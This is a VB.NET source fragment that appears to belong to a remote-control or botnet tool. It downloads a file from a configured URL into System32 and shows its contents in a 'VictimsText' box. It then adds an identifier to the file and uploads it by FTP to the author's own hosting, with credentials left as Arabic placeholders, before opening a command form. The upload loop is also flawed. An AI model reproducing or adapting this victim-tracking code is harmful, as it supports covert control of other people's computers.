Dim sys32 As String = (Environment.GetFolderPath(Environment.SpecialFolder.System)) + "\"
Dim wc As WebClient = New WebClient()
Dim mriliS As String = My.Settings.MrILIS
MainFrm.VinfoTimer.Enabled = False
Application.DoEvents()
Dim DURL As String
If My.Computer.FileSystem.FileExists(sys32 & "\" & "Vinfo.txt") Then
My.Computer.FileSystem.DeleteFile(sys32 & "\" & "Vinfo.txt")
End If
Application.DoEvents()
'*******************Download Vinfo.ili ************************************
DURL = My.Settings.URL & "/" & "Vinfo.ili"
Application.DoEvents()
wc.DownloadFile(DURL, sys32 + "Vinfo.txt")
Application.DoEvents()
'**************************************************************************
'*******************Read Vinfo.ili *******************************
Dim oReaderVinfo As StreamReader
oReaderVinfo = New StreamReader(sys32 + "Vinfo.txt", True)
Dim readVinfofile As String = oReaderVinfo.ReadToEnd
VictimsText.Text = (readVinfofile)
oReaderVinfo.Close()
'*******************************************************************
'**************Write to Vinfo.ili********************************************
Application.DoEvents()
If VictimsText.Text.Contains(mriliS) Then
else
Dim FILE_NAME As String = sys32 + "Vinfo.txt"
Dim i As Integer
Dim aryText(4) As String
aryText(0) = mriliS
MsgBox(My.Settings.MrILIS)
Dim objWriter As New System.IO.StreamWriter(FILE_NAME)
For i = 0 To 0
objWriter.WriteLine(aryText(i))
Next
objWriter.Close()
End If
Application.DoEvents()
'**********************************************************************
'********** Upload Vinfo.ili*********************************************
Dim requestVinfo As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp:// رابط fTP للملف المراد رفعه"), System.Net.FtpWebRequest)
requestVinfo.Credentials = New System.Net.NetworkCredential("يوزر نيم الاستضافة الخاصة بي", "باسورد الاستضافة الخاصة بي")
requestVinfo.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim file() As Byte = System.IO.File.ReadAllBytes(sys32 & "Vinfo.txt")
Dim strz As System.IO.Stream = requestVinfo.GetRequestStream()
For offset As Integer = 0 To file.Length Step 1024
Dim chunkSize As Integer = file.Length - offset - 1
If chunkSize > 1024 Then chunkSize = 1024
strz.Write(file, offset, chunkSize)
Next
strz.Write(file, 0, file.Length)
strz.Close()
strz.Dispose()
'**********************************************************************************
Application.DoEvents()
CommandFrm.Show()
Application.DoEvents()